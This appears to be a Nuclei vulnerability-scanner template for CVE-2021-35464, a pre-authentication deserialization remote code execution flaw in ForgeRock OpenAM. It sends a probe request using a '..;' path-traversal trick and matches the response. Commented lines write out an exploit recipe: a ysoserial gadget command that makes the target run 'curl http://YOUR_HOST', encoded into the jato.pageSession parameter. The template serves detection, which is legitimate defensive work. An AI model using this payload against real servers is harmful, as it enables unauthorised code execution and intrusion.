CVE-2021-35464.yaml

id: CVE-2021-35464

info:
  author: madrobot
  name: Pre-auth RCE in ForgeRock OpenAM
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
    found in versions of Java 8 or earlier
  severity: critical
  tags: cve,cve2021,openam,rce,java
  reference:
    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-35464
    cwe-id: CWE-502

requests:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

      # '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>'
      # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Set-Cookie: JSESSIONID="
        part: header

      - type: word
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        part: body
        condition: or